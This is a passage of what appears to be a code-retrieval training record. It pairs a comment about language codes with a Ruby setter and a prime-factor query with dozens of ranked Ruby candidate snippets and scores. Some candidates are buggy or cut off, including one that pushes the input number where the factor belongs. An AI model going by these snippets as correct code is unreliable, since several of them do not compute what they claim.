"def share_text_short\n \"I'm looking at #{self.latest_name.titleize} on Dinesafe.\"\n end", "def apphelp_site_name\n t( :'uk.org.pond.canvass.site_name' )\n end", "def inspect\n \"#<HG Versioned File: #{to_s}>\"\n end", "def version_description\n raise NotImplementedError\n end", "def get_version()\n\t\tend", "def to_s\n s = []\n s << \"#{title} v#{version}\"\n s << \"\"\n s << \"#{summary}\"\n s << \"\"\n s << \"contact : #{contact}\"\n s << \"homepage : #{homepage}\"\n s << \"repository : #{repository}\"\n s << \"authors : #{authors.join(',')}\"\n s << \"package : #{name}-#{version}\"\n s << \"requires : #{requires.join(',')}\"\n s.join(\"\\n\")\n end", "def as_full\n \"#{scheme}-#{issuer}-#{release}-#{check}\"\n end", "def summary\n Rinku.auto_link(description.html_safe) rescue nil\n end", "def print_version()\n (version,packager,name) = get_version()\n puts name+\" v. \"+version+\" \"+packager\n exit\nend", "def digest\n @title\n end", "def digest\n @title\n end", "def to_s\n \"<Version #{number}>\"\n end", "def full_version\n \"image_optim v#{version}\"\n end", "def to_s\n getUIversion.to_s\n end", "def desc\n\t\t\"Useful for analyzing scanned web sites later.\"\n\tend", "def version\n puts \"You're running imgurr #{Imgurr::VERSION}.\"\n end", "def version()\n $stderr.puts WOL_VERSION\n $stderr.puts 'Written by Kevin R. Bullock.'\n $stderr.puts\n $stderr.puts 'Copyright (C) 2004 Kevin R. Bullock.'\n $stderr.puts 'This is free software; see the source for copying conditions. There is NO'\n $stderr.puts 'warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.'\n end", "def info\n puts \"Version #{StaticData::APPLICATION_VERSION}\"\n puts \"Authors : \"\n StaticData::AUTHORS.each do |author| \n puts \"-- #{author}\"\n end \n end", "def modeler_description\n return 'HVAC system creation logic uses [openstudio-standards](https://github.com/NREL/openstudio-standards) and efficiency values are defined in the openstudio-standards Standards spreadsheet under the *NREL ZNE Ready 2017* template.'\n end", "def title\n [super().presence, homepage.title].compact.join(' - ')\n end", "def author\n page.version.author.name\n end", "def build_version\n @semver.to_s '%M.%m.%p'\n end" ]
[ "0.6603192", "0.6603192", "0.660115", "0.65384257", "0.64710367", "0.6386315", "0.63385993", "0.6333561", "0.62705165", "0.62705165", "0.6260029", "0.6237924", "0.61900145", "0.61819655", "0.61813587", "0.613929", "0.61325026", "0.6128944", "0.61099386", "0.61081773", "0.60725135", "0.6071912", "0.60608137", "0.60494", "0.6038714", "0.6038395", "0.60369796", "0.6035249", "0.60231006", "0.6019067", "0.6017951", "0.60049707", "0.5992455", "0.59770834", "0.5974167", "0.5953696", "0.5948113", "0.59436363", "0.5936291", "0.59302384", "0.59231764", "0.5906268", "0.59049016", "0.5898461", "0.5893079", "0.58870363", "0.58870363", "0.58817816", "0.5880242", "0.5880242", "0.5868846", "0.5852537", "0.5827081", "0.58113015", "0.58105755", "0.5794003", "0.5785293", "0.57738227", "0.57717574", "0.57664365", "0.57664365", "0.57664365", "0.57664365", "0.57664365", "0.576545", "0.5760826", "0.57528114", "0.57405555", "0.5737544", "0.5735467", "0.5730647", "0.5724014", "0.57230496", "0.5718245", "0.5717812", "0.5715681", "0.57106894", "0.5701156", "0.56966084", "0.5695416", "0.5688962", "0.56866777", "0.56846255", "0.56746966", "0.56712496", "0.5669095", "0.5667856", "0.5657847", "0.56545866", "0.56545866", "0.564808", "0.5647564", "0.56475425", "0.5644554", "0.5642946", "0.5642349", "0.56414825", "0.5638304", "0.56339955", "0.5629872", "0.5625149" ]
0.0
-1
code should be MCH, MGL, SIB or TOD
def language=(code) self[code.downcase.to_sym] = true if code end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def codes; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code(a_code)\n\t\ta_code\n\tend", "def sic_code; end", "def human_code(code)\n case code\n when 'ADM1' then :region\n when 'ADM2', 'ADM3', 'ADM4' then :city\n else :other\n end\n end", "def exchange_code; end", "def human_code(code)\n case code\n when 'ADM1' then :province\n when 'ADM2', 'ADM3', 'ADM4' then :city\n else :other\n end\n end", "def string=(code); end", "def code\n '202'\n end", "def setCode(code)\n @code = code\n end", "def code(*codes); end", "def code(*codes); end", "def mcode\n item = read\n raise UserError, 'Mobile authentication code is not set' unless item['mcode']\n item['mcode']\n end", "def mcode_set(code)\n item = read\n item['mcode'] = code\n @aws.put_item(table_name: 'zold-wallets', item: item)\n end", "def supplied_code\n @supplied_code ||= request.params['code'].gsub(/(\\D|0)/i)\n end", "def normalize_coding_system(code)\n lookup = {\n \"lnc\" => \"LOINC\",\n \"loinc\" => \"LOINC\",\n \"cpt\" => \"CPT\",\n \"cpt-4\" => \"CPT\",\n \"snomedct\" => \"SNOMEDCT\",\n \"snomed-ct\" => \"SNOMEDCT\",\n \"rxnorm\" => \"Rxnorm\",\n \"icd9-cm\" => \"ICD9\",\n \"icd9\" => \"ICD9\"\n }\n codingsystem = lookup[code.xpath('./CodingSystem')[0].content.downcase]\n if(codingsystem)\n code.xpath('./CodingSystem')[0].content = codingsystem\n end\n end", "def initialize\n @code_combination = code\n end", "def code=(v)\n @code = v\n end", "def cc(code)\n return\n end", "def code\n @code\n end", "def code\n @code\n end", "def normalize_coding_system(code)\n lookup = {\n \"lnc\" => \"LOINC\",\n \"loinc\" => \"LOINC\",\n \"cpt\" => \"CPT\",\n \"cpt-4\" => \"CPT\",\n \"snomedct\" => \"SNOMED-CT\",\n \"snomed-ct\" => \"SNOMED-CT\",\n \"rxnorm\" => \"RxNorm\",\n \"icd9-cm\" => \"ICD-9-CM\",\n \"icd9\" => \"ICD-9-CM\",\n \"icd10-cm\" => \"ICD-9-CM\",\n \"icd10\" => \"ICD-9-CM\",\n \"cvx\" => \"CVX\",\n \"hcpcs\" => \"HCPCS\"\n\n }\n codingsystem = lookup[code.xpath('./ccr:CodingSystem')[0].content.downcase]\n if(codingsystem)\n code.xpath('./ccr:CodingSystem')[0].content = codingsystem\n end\n end", "def normalize_coding_system(code)\n lookup = {\n \"lnc\" => \"LOINC\",\n \"loinc\" => \"LOINC\",\n \"cpt\" => \"CPT\",\n \"cpt-4\" => \"CPT\",\n \"snomedct\" => \"SNOMEDCT\",\n \"snomed-ct\" => \"SNOMEDCT\",\n \"rxnorm\" => \"RxNorm\",\n \"icd9-cm\" => \"ICD-9-CM\",\n \"icd9\" => \"ICD-9-CM\"\n }\n codingsystem = lookup[code.at_xpath('./ccr:CodingSystem').content.downcase]\n if(codingsystem)\n code.at_xpath('./ccr:CodingSystem').content = codingsystem\n end\n end", "def code\n @code ||= @codes.first\n end", "def code= new_code\n @code = new_code\n end", "def code\n @code\n end", "def mambo_no_5; end", "def code\n @code\n end", "def code\n @code\n end", "def set_code(code)\n input_correct?(code)\n @Code = code\n end", "def initialize(code)\n @code = code\n end", "def initialize(code)\n @code = code\n end", "def available_codes\n case @coding_klass.to_s\n when 'CodingBudget', 'CodingSpend'\n @activity.class.to_s == \"OtherCost\" ? OtherCostCode.roots : Code.for_activities.roots\n when 'CodingBudgetCostCategorization', 'CodingSpendCostCategorization'\n CostCategory.roots\n when 'CodingBudgetDistrict', 'CodingSpendDistrict'\n @activity.locations\n when 'HsspBudget', 'HsspSpend'\n @activity.class.to_s == \"OtherCost\" ? [] : HsspStratObj.all + HsspStratProg.all\n else\n raise \"Invalid coding_klass #{@coding_klass.to_s}\".to_yaml\n end\n end", "def initialize(code)\n @code = code\n end", "def hookup_code\n #break out of this function if we already have a code set\n return true if self.code\n\n #if there is not already a code set then go ahead and set it\n this_code = Code.where(:name => self.name, :coding_type => self.coding_type).first\n if this_code\n self.code = this_code\n else\n return false\n end\n end", "def get_code\n\t\tdata = []\n\t\tis_manaul = false\n\t\tcode =\"\"\n\n\t\tif !params[:n_type].nil?\n\t\t\tdata = NextVersion.find_by n_type:params[:n_type]\n\t\t\tif data.is_manaul #check condition if this menu no need generate form system\n\t\t\t\tis_manaul = true\n\t\t\tend\n\t\t\tcode = @@common.getCode(params[:n_type])\n\t\tend\n\t\trender json:{ code:code,is_manaul:is_manaul , success:true}\n\tend", "def codegroup(code)\n if code < 97 \n 65\n else \n 97\n end\n end", "def set_code \n puts \"\\nYou have chosen to be the new CodeBreaker!\\nNow wait for me to create a code for you to crack \"\n @code = @role.random_code\n end", "def code=(code)\n generate(code)\n end", "def metro_code; end", "def get_cas02_code(crosswalked_codes)\n rcc_log.debug \"Obtaining CAS 02 code.\"\n if facility\n cas_02_config = facility.details[:cas_02].to_s.downcase.gsub(' ', '_')\n if facility.details[:rc_crosswalk_done_by_client]\n cas_02_config = 'hipaa_code'\n end\n rcc_log.debug \"CAS 02 config : #{facility.details[:cas_02]}\"\n if facility.enable_crosswalk.present? && cas_02_config.present? && crosswalked_codes\n cas_02_code = crosswalked_codes[cas_02_config.to_sym]\n end\n if(cas_02_code.blank?)\n rcc_log.debug \"New Reason Code or Reason Code without a crosswalk condition or crosswalking is not enabled.\"\n if crosswalked_codes && (cas_02_config == 'hipaa_code' || cas_02_config == 'client_code')\n rcc_log.debug \"Obtaining default code as CAS 02 code.\"\n cas_02_code = crosswalked_codes[:default_code]\n elsif cas_02_config == 'reason_code'\n rcc_log.debug \"Obtaining reason code as CAS 02 code.\"\n cas_02_code, desc = get_reason_code_and_description(crosswalked_codes)\n if cas_02_code.blank? && crosswalked_codes\n cas_02_code = crosswalked_codes[:hipaa_code_from_entity] if crosswalked_codes[:hipaa_code_from_entity].present?\n end\n end\n end\n rcc_log.debug \"CAS 02 code : #{cas_02_code}\"\n end\n cas_02_code.to_s.upcase\n end", "def gift_card_code(code, direction = :push)\n if direction == :push\n code[0..8]\n else\n code\n end\n end", "def send_code\n return :blank_phone if self.phone.blank?\n self.generate_code\n SMS3.sendto self.phone, \"您的KickTempo手机验证码为:#{self.varified_code}。\"\n end", "def getCode(code1, code2)\n if(code1[1] == code2)\n return code1[0]\n else\n return code1[1]\n end \n end", "def kcode() end", "def genetic_code_table; 11; end", "def code_name(code)\n Codes.code_symbol(code)\n end", "def generate_code\n # only need to do this if code not set\n return if code\n\n ensure_unique_code\n end", "def determine_secret_code(numerical_code)\n case numerical_code\n when 0\n \"Red\"\n when 1\n \"Blue\"\n when 2\n \"Yellow\"\n when 3\n \"Green\"\n when 4\n \"Purple\"\n when 5\n \"Maroon\"\n else\n nil \n end\n end", "def code=(code)\n if !code.nil? && code.to_s.length > 6\n fail ArgumentError, 'invalid value for \"code\", the character length must be smaller than or equal to 6.'\n end\n\n @code = code\n end", "def code\n self[:code]&.inquiry\n end", "def set_coupon_code\n\n if(@coupon_code.nil?)\n @coupon_code,@existing_coupon_code_flag = VendorCoupons.generate_coupon_code(@vendor_id,@unique_id,@sub_category_id,@cc_mobile_number,@c_id)\n else\n @coupon_code = \"nocode\"\n end\n \n end", "def initialize(code)\n if code == 'random'\n new_code = ''\n 4.times do\n new_code += COLORS.sample\n end\n @code = new_code\n else\n @code = code\n end\n end", "def code\n @data['code']\n end", "def code\n @data['code']\n end", "def set_code\n @code = Code.find(params[:id])\n end", "def set_code\n @code = Code.find(params[:id])\n end", "def set_code\n @code = Code.find(params[:id])\n end", "def set_code\n @code = Code.find(params[:id])\n end", "def set_code\n @code = Code.find(params[:id])\n end", "def set_code\n @code = Code.find(params[:id])\n end", "def set_code\n @code = Code.find(params[:id])\n end", "def code\n @code ||= (read_attribute(:code) || (member.id * Time.now.to_i).to_s(36))\n end", "def code=(code)\n if code.nil?\n fail ArgumentError, 'code cannot be nil'\n end\n\n if code.to_s.length > 128\n fail ArgumentError, 'invalid value for \"code\", the character length must be smaller than or equal to 128.'\n end\n\n if code.to_s.length < 1\n fail ArgumentError, 'invalid value for \"code\", the character length must be great than or equal to 1.'\n end\n\n @code = code\n end", "def code\n @info.code\n end", "def isvalid?(code:)\n @channel.each { |k,v| return true if code == v[:code] }\n return false\n end", "def use_mci_numbers(set_code)\n mci_numbers = get_mci_numbers(set_code)\n cards = cards_by_set[set_code]\n\n if set_code == \"ced\" or set_code == \"cei\"\n # Not on Gatherer\n cards.each do |card|\n name = card[\"name\"]\n card[\"number\"] = mci_numbers[name.downcase].shift\n end\n else\n mvids = cards.map{|c| [c[\"name\"], c[\"multiverseid\"]]}\n .group_by(&:first)\n .transform_values{|x| x.map(&:last).sort}\n cards.each do |card|\n name = card[\"name\"]\n rel_idx = mvids[name].index(card[\"multiverseid\"])\n raise unless mci_numbers[name.downcase]\n card[\"number\"] = mci_numbers[name.downcase][rel_idx]\n end\n end\n end", "def get_code(partner, pdate, ptype)\n \n @codegen = \"\"\n \n if partner.nil? and not signed_in_and_master?\n return \"P??\"\n end\n \n @pid = 1\n \n unless partner.nil?\n @pid = partner.id \n @codegen += \"P\"\n @codegen += \"%02d\" % partner.fp7_Number\n @codegen += \"-\"\n \n else\n \n if signed_in_and_master?\n @codegen += \"ADM\"\n else\n @codegen += \"P??\"\n end\n \n end\n\n if pdate.nil?\n #only for generate sample code in the new view (but it is hide)\n pdate = Date.today\n end\n\n unless pdate.nil?\n \n @codegen += pdate.strftime(\"%y%m%d\")\n @codegen += \"-\"\n end\n\n @cnt_objs = Sampling.all(:select => \"DISTINCT code\", :conditions => ['code LIKE ? ', '%'+@codegen+'%'], :order => 'code DESC')\n @cnt = 1 \n if not @cnt_objs.nil? \n @cnt_obj = @cnt_objs[0] \n if not @cnt_obj.nil? \n #P03-110129-xx\n if not @cnt_obj.code.nil? \n @end_str = @cnt_obj.code[11..12]\n if not @end_str.nil? \n @end = @end_str.to_i\n @cnt = @end + 1\n else \n @cnt = '0'\n end\n else \n @cnt = '0'\n end\n end\n end\n\n @codegen += \"%02d\" % @cnt\n\n unless ptype.nil?\n @codegen += ptype.to_s\n end\n\n return @codegen\n end", "def setGradeBandCode(code)\n Rails.logger.debug(\"app setGradeBand code: #{code.inspect}\")\n if GradeBand.where(:tree_type_id => @treeTypeRec.id).map{ |gb| gb.code}.include?(code)\n # next default gradeBand to cookie:\n Rails.logger.debug(\"app gradeBand code matched! #{code.inspect}\")\n cookies['gradeBand'] = code\n else\n cookies['gradeBand'] = 0\n Rails.logger.debug(\"app gradeBand code not matched! #{code}\")\n end\n end", "def let_type_lookup(code)\n case code.to_i\n when 0 then 'Not Specified'\n when 1 then 'Long Term'\n when 2 then 'Short Term'\n when 3 then 'Student'\n when 4 then 'Commercial'\n else nil\n end\n end", "def code=(code)\n @code = code.map(&:to_sym)\n @ohm = Resistor::ColorCode.decode(@code)\n @tolerance = Resistor::ColorCode::TOLERANCE[@code[-1].to_sym]\n end", "def get_system(code)\n return code[2][1][0][1][1][1]\n end", "def code=(code)\n code = RandomPhrase.normalize(code)\n\n if code.present? && code_cost.present? && code_salt.present?\n self.salted_code_fingerprint = BackupCodeConfiguration.scrypt_password_digest(\n password: code,\n salt: code_salt,\n cost: code_cost,\n )\n end\n end", "def set_Code(value)\n set_input(\"Code\", value)\n end", "def code\n @code = params[:code]\n @token = request.headers[\"HTTP_X_API_POP_KEY\"]\n @ip = request.remote_ip\n\n begin\n\n #uniquement si le code est un entier\n @customer = Customer.find_by_code(@code)\n if @customer.blank?\n render json: {\n message: false,\n flag: :customer_not_found\n }\n else\n #on retourne les informations\n\n render json: {\n message: true,\n context: searchContext(@customer),\n name: @customer.name,\n second_name: @customer.second_name,\n marchand_id: @customer.authentication_token,\n date: Time.now.strftime(\"%d-%m-%Y à %H:%M:%S\"),\n expire: 5.minutes.from_now\n }\n end\n \n rescue ActiveRecord::RecordNotFound\n\n render json: {\n message: false,\n content: \"Utilisateur inconnu\"\n }\n \n end\n end", "def update_code\n elements = [flexeme_type.tag.to_s]\n elements << gender.tag.to_s if gender\n elements += suffixes\n self.code = (Digest::SHA2.new << elements.join(\":\")).hexdigest[0...6]\n end", "def hello_you (code)\n if code == \"es\"\n return 'Hola Mundo'\n end\n if code == \"de\"\n return 'Hallo Welt'\n end\n return \"Hello World\"\nend", "def generate_code\n # only need to do this if code not set\n return if code\n ensure_unique_code\n end", "def getCode()\n return @code\n end", "def code\n @data['code']\n end", "def code\n info['Code']\n end", "def default_code\n rcc_log.debug \"Obtaining Default Codes.\"\n if facility\n default_code = facility.details[:default_cas_code]\n rcc_log.debug \"Default CAS Code from FC : #{default_code}\"\n if default_code.blank?\n @default_mapping ||= @default_mappings[adjustment_reason.to_sym]\n default_code = @default_mapping.hipaa_adjustment_code unless @default_mapping.blank?\n rcc_log.debug \"Default HIPAA Code from FC : #{default_code}\"\n if default_code.blank? && !(['miscellaneous_one', 'miscellaneous_two', 'pr', 'prepaid'].include?(adjustment_reason))\n p \"Please configure the default codes for #{adjustment_reason} to continue.\"\n raise \"Please configure the default codes for #{adjustment_reason} to continue.\"\n end\n end\n default_code.to_s.upcase\n end\n end", "def new_material?\n codes[0..2] == %w[02 15 04]\n end", "def code=(code)\n raise TypeError, 'code must respond to :to_s' unless !code.nil? && code.respond_to?(:to_s)\n code = code.to_s\n raise CodeParseError unless code =~ CODE_REGEXP\n codes << code unless codes .include?(code)\n \n @code = code\n end", "def pcode4\n school.sierra_code\n end", "def get_new_code(old_code, pattern, new_value, cm_type=\"N/A\", subsystem=\"N/A\",\n code_version=\"N/A\", cm_approval_level=\"N/A\")\n\n j=0; i=0\n code_found=false\n new_formatted_name = String.new\n\n pattern.each_char do |in_char|\n if in_char == '}'\n code_found=false\n next\n end\n\n if in_char == '{'\n code_found=true\n next\n end\n\n if code_found\n case in_char\n when '0'..'9'\n # Replace {n} by code\n counter_s = new_value.to_s.rjust(in_char.to_i,'0')\n new_formatted_name.insert j, counter_s\n # Important do not allow to create codes higher than the one expected by code generator\n old_counter = old_code[i, counter_s.length]\n if old_counter.to_i > counter_s.to_i\n raise \"Code counter can not be greater than the next expected value by code generator!!\"\n end\n j = j + counter_s.length\n i = i + counter_s.length\n code_found=false\n when 'S'\n # Replace by Subsystem (docs, reqs)\n if subsystem == \"N/A\"\n new_formatted_name = \"Error:Subsystem No Defined!\"\n break\n else\n new_formatted_name.insert j, subsystem.code\n j = j + subsystem.code.size\n\n old_subsys=old_code[i, subsystem.code.size]\n if old_subsys != subsystem.code\n raise \"Subsystem has been changed! Regenerate Code!\"\n end\n\n i = i + subsystem.code.size\n end\n when 'V'\n if code_version == \"N/A\"\n new_formatted_name = \"Error:Version No Defined!\"\n break\n else\n new_formatted_name.insert j, code_version\n j = j + code_version.size\n\n old_version=old_code[i, code_version.size]\n if old_version != code_version\n raise \"Version has been changed! Regenerate Code!\"\n end\n\n i = i + code_version.size\n end\n when 'T'\n # Replace by Type\n if cm_type == \"N/A\"\n new_formatted_name = \"Error:Type not defined!\"\n break\n else\n new_formatted_name.insert j, cm_type\n j = j + cm_type.size\n\n old_subsys=old_code[i, cm_type.size]\n if old_subsys != cm_type\n raise \"Type has been changed! Regenerate Code!\"\n end\n\n i = i + cm_type.size\n end\n when 'A'\n if cm_approval_level == \"N/A\"\n new_formatted_name = \"Error:Approval Level not defined!\"\n break\n else\n new_formatted_name.insert j, cm_approval_level\n j = j + cm_approval_level.size\n\n old_version=old_code[i, cm_approval_level.size]\n if old_version != cm_approval_level\n raise \"Approval Level has been changed! Regenerate Code!\"\n end\n\n i = i + cm_approval_level.size\n end\n else\n raise \"{\" + in_char + \"} not defined as mask in Code Generator!!\"\n end\n next\n end\n\n if in_char == old_code[i,1]\n new_formatted_name.insert j, old_code[i,1]\n j = j + 1\n i = i + 1\n next\n else\n #Code does not follow the pattern\n raise \"Pattern wrong! Char \" + old_code[i,1] + \" does not match with expected \" + in_char\n end\n end\n\n return new_formatted_name\n end", "def select_code(house_and_unit)\n if not house_and_unit.length <= 3\n raise BadCode,\n \"Code should be three characters or less.\"\n end\n house = house_and_unit[0..0]\n unit = house_and_unit[1..2]\n if not HOUSE_CODE_TABLE.has_key? house\n raise BadCode,\n \"House code was '\" << house << \"', must be between 'A' and 'P'\"\n end\n if not UNIT_CODE_TABLE.has_key? unit\n raise BadCode,\n \"Unit code was '\" << unit << \"', must be between '1' and '16'\"\n end\n [HOUSE_CODE_TABLE[house], UNIT_CODE_TABLE[unit]]\n end", "def code\n call_once\n @code\n end", "def initialize(code)\n\t\t@value = Face_values[code[0]]\n\t\t@suit = code[1]\n\tend", "def is_code?(line,labelhash)\n if @to_code && line !~ /^#include \"(page|align|pass).i65\".*/ # filter chaffy includes\n if @code.nil?\n # first line is special, the label\n @label = line\nputs @label if @label == \"STUDIO\"\n @addr = labelhash[@label]\n # start with a code quote and a slider button\n @code =\n \"\\n\\n\\n<$button popup=\\\"$:/state/codeSlider\\\">code</$button>\"\\\n \"<$reveal type=\\\"nomatch\\\" text=\\\"\\\" default=\\\"\\\" \"\\\n \"state=\\\"$:/state/codeSlider\\\" animate=\\\"yes\\\">\\n\\n```\"\n end\n # append code line, filter chaff\n @code += \"\\n\"+line\n end\n # turn on code trigger after checking, to avoid capturing the `#endif`\n if (line =~ /^\\#endif$/) # non-`#if 0` should have a comment after #endif in source\n @to_code = true\n end\n end", "def get_code(dial_book, key)\n dial_book[key]\nend", "def item_code( seqno )\n \"#{ code }-#{ seqno ? seqno : '?' }\"\n end", "def get_name(code)\n return code[1]\n end", "def get_cas01_code(crosswalked_codes)\n rcc_log.debug \"Obtaining CAS 01 code.\"\n if facility && crosswalked_codes\n cas_01_config = facility.details[:cas_01].to_s.downcase.gsub(' ', '_')\n rcc_log.debug \"CAS 01 config : #{facility.details[:cas_01]}\"\n rcc_log.debug \"Obtaining Group code as CAS 01 code.\"\n cas_01_code = crosswalked_codes[cas_01_config.to_sym]\n rcc_log.debug \"CAS 01 code : #{cas_01_code}\"\n end\n cas_01_code.to_s.upcase\n end", "def op_code\n 2004\n end" ]
[ "0.68896043", "0.6836776", "0.6836776", "0.6836776", "0.6836776", "0.6836776", "0.6836776", "0.6836776", "0.6798997", "0.66308326", "0.6561833", "0.6498621", "0.6476809", "0.6474828", "0.63261956", "0.6290812", "0.62755275", "0.62755275", "0.61910254", "0.6190563", "0.6177425", "0.61079884", "0.6105981", "0.6092854", "0.60828555", "0.60768336", "0.60768336", "0.6016896", "0.60107434", "0.60093164", "0.6008002", "0.59983486", "0.5979777", "0.5978678", "0.5978678", "0.5971255", "0.59647906", "0.59647906", "0.5960747", "0.59564763", "0.59442306", "0.5938775", "0.5924385", "0.5918389", "0.5910608", "0.5899655", "0.58913547", "0.5877152", "0.5877077", "0.58628076", "0.58479583", "0.5847723", "0.5843898", "0.5828277", "0.5822536", "0.581993", "0.58117825", "0.5804003", "0.5795326", "0.5791378", "0.5791378", "0.5788246", "0.5788246", "0.5788246", "0.5788246", "0.5788246", "0.5788246", "0.5788246", "0.57875633", "0.57858145", "0.57797855", "0.5778947", "0.57640314", "0.57620823", "0.5759553", "0.5754926", "0.5750032", "0.57474196", "0.5734719", "0.57326007", "0.57304543", "0.5723519", "0.57152605", "0.57110006", "0.57075924", "0.57065064", "0.57054174", "0.56992704", "0.5695494", "0.5692845", "0.5689955", "0.56834364", "0.5680008", "0.5671285", "0.56669146", "0.5661112", "0.56576794", "0.5653299", "0.56452733", "0.5641212", "0.563747" ]
0.0
-1
Get a number def prime_factors(num) Find all its factorals and add to a new array factors = [] digit = 0 num.times do digit += 1 if num % digit == 0 factors 2 factors = factors [first_factors] [1] end end return factors.reverse end
def prime_factors(num) require "prime" primes = [] Prime.each{|prime| primes << prime if num % prime ==0 ; break if prime > num } primes end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def prime_factors(num)\n factors = factors(num)\n result = []\n factors.each do |fac|\n if prime?(fac)\n result << fac\n end\n end\n result\nend", "def prime_factors(num)\n\tfactors = []\n\tfactor = 2\n\tremainder = num\n\n\twhile (remainder > 1) && (factor <= num)\n\t\twhile (remainder % factor == 0)\n\t\t\tfactors << factor\n\t\t\tremainder /= factor\n\t\tend\n\n\t\tfactor += 1\n\tend\n\tfactors\nend", "def prime_factors(num)\n\tprimeFactors = []\n \t\n \t(1..num).each do |i|\n \tif num % i == 0 && isPrime(i)\n \tprimeFactors.push(i)\n end\n end\n \n \treturn primeFactors\nend", "def prime_factors(num)\n facs = factors(num)\n p_facs = []\n facs.each{|n| p_facs.push(n) if prime?(n)}\n p_facs\nend", "def prime_factors num\n\tfactors = []\n\ttest_value = 2\n\twhile num > 1 do\n\t\twhile num % test_value == 0 do\n\t\t\tfactors.push num\n\t\t\tnum = num / test_value\n\t\tend\n\t\ttest_value += 1\n\tend\n\treturn factors\nend", "def prime_factors(num)\n arr = factors(num)\n new_arr = []\n arr.each do |n|\n new_arr << n if prime?(n)\n end\n new_arr\nend", "def prime_factor(num)\n i = 2\n factors = []\n while i <= num\n if num % i == 0\n factors << i\n num = num / i\n else\n i += 1\n end\n end\n factors\nend", "def prime_factors(number)\n factors = []\n i = 0\n if prime?(number)\n return [number]\n else\n new_prime = @primes[-1] + 2\n while @primes[-1] * 2 <= number\n if prime?(new_prime)\n @primes << new_prime\n end\n new_prime += 2\n end\n while @primes[i] <= Math.sqrt(number)\n if number % @primes[i] == 0\n factors << @primes[i]\n number /= @primes[i]\n i = 0\n else\n i += 1\n end\n end\n factors << number\n end\n return factors\nend", "def prime_factors(num)\n\n if prime?(num)\n return [num]\n end\n\n primes = (2...num).to_a.select { |factor| prime?(factor) }\n\n \n \n factors = []\n\n while num > 1\n candidate = primes.shift\n\n if num % candidate == 0\n factors << candidate\n while num % candidate == 0\n num /= candidate\n end\n end\n end\n\n return factors\n \nend", "def prime_factors(num)\n arr = []\n (1...num).each do |number|\n if is_prime(number) && num % number == 0\n arr << number\n end\n end\n return arr\nend", "def prime_factors(num)\n arr = []\n\tPrime.each(num) { |prime| num % prime == 0 ? arr.push(prime) : false }\n return arr\nend", "def prime_factors(num)\n arr = []\n (1..num).each { |n| arr << n if num%n==0 && prime?(n)}\n return arr\nend", "def prime_factors(num)\r\n # your code goes here\r\n prime_factors = []\r\n for i in 1 .. num\r\n if num % i == 0 && prime?(i)\r\n prime_factors << i\r\n end\r\n end\r\n prime_factors\r\nend", "def factors(num)\n factors = Prime.prime_division(num)\n result = []\n factors.each { |factor, power| result += [factor] * power }\n result\n end", "def factors(num)\n factors = Prime.prime_division(num)\n result = []\n factors.each { |factor, power| result += [factor] * power }\n result\nend", "def prime_factors(num)\n\tfactors(num).select { |n| prime?(n) }\nend", "def prime_factors(num)\n array = []\n (1..num).each do |number|\n array << number if prime?(number) && num % number == 0\n end\n array.sort!\nend", "def factors(num)\n prime?(num) ? [1, num].uniq : [*1..num].select { |i| num % i == 0}\nend", "def factors(num)\n pn = num.prime_division\n ans = []\n pn.each_index do |i|\n ans << pn[i][0]\n end\n return ans\nend", "def prime_factors(num)\n prime_facts = []\n \n (1..num).each do |i|\n if num % i == 0 && prime?(i)\n prime_facts << i\n end\n end\n \n return prime_facts\n end", "def prime_factors(num)\n arr = (2..Math.sqrt(num).round).to_a\n primes = arr.each do |i|\n arr.select! {|j| j%i != 0 or j==i}\n end\n pfacts = primes.select {|i| num%i == 0}\n\n return [num] if pfacts.empty?\n return pfacts\nend", "def prime_factors(number)\n fs = []\n f1 = factor(number)\n return [number] if f1 == 1\n f2 = number/f1\n fs.concat(prime_factors(f1))\n fs.concat(prime_factors(f2))\n return fs\n end", "def prime_factors(num)\n factors = []\n # Store all the factors in an array\n (2..num).each do |divisor|\n if num % divisor == 0\n factors << divisor\n end\n end\n\n # loop through factors array and return only the prime prime prime factors\n if factors.length > 0\n return factors.select { |factor| checkIfPrime(factor) }\n else\n return factors\n end\nend", "def factors_of(num)\n\tnewArray = []\n \tfor i in 1..num\n if num % i == 0\n \tnewArray << i\n end\n end\n return newArray\nend", "def prime_factors(num)\n prime_facts = []\n\n (1..num).each do |i|\n if num % i == 0 && prime?(i)\n prime_facts << i\n end\n end\n\n return prime_facts\nend", "def old_factors(num)\n factors = []\n (1..num).each do |i|\n if num % i == 0\n factors << i\n end\n end\n factors\nend", "def prime_factors(number)\n primes = []\n return primes unless number >= 1\n return primes << number if is_prime?(number)\n # until is_prime?(number) do\n (2..(number / 2)).to_a.each do |num|\n if number % num == 0 # Divisor\n if is_prime?(num)\n primes << num\n number /= num\n return (primes << prime_factors(number)).flatten\n # break\n end\n end\n end\n # end\n # primes << number\nend", "def prime_factors(num)\n facs = (1..num).select {|x| num % x == 0 }\n facs.select {|x| prime?(x)}\nend", "def factors(num)\n facs = [1]\n (2..num/2).each{|n| facs.push(n) if num % n == 0 }\n facs.push(num)\nend", "def factors(num)\n factors = []\n (1..num/2).each {|n| factors << n if num % n == 0}\n factors << num\nend", "def factors_of(num)\n\tnums = []\n \n\ti = 1\n\twhile i <= num\n\t\tif num % i == 0\n\t\t\tnums << i\n end\n\t\ti += 1\n end\n \n\treturn nums\nend", "def factors(num)\n facs = []\n i = 1\n while i <= num\n if num % i == 0\n facs << i\n end\n i += 1\n end\n facs\nend", "def factors_of(num)\n i = 1\n newArr = []\n while i <= num\n if num % i == 0\n newArr << i\n end\n i += 1\n end\n return newArr\n end", "def factors_of(num)\n array = []\n i = 1\n while i <= num\n if num % i == 0\n array << i\n end\n i += 1\n end\n return array\n end", "def factors(num)\n arr = []\n for i in 1..num\n if num%i == 0\n arr << i\n end\n end\n arr\nend", "def factor(num)\n\tcurrent_factor = num/2\n\tfactors = []\n\tfactors << num\n\twhile current_factor > 0\n\t\tif num%current_factor == 0\n\t\t\tfactors << current_factor\n\t\t\tcurrent_factor -= 1\n\t\telse\n\t\t\tcurrent_factor -= 1\n\t\tend\n\tend\n\t\n\treturn factors\nend", "def get_factors(num)\n factors = []\n (1..num).each do |i|\n factors << i if num % i == 0\n end\n factors\nend", "def prime_factors(number, array = [])\n return if number == 1\n 2.upto(number).each do |num|\n if number % num == 0\n number /= num\n array << 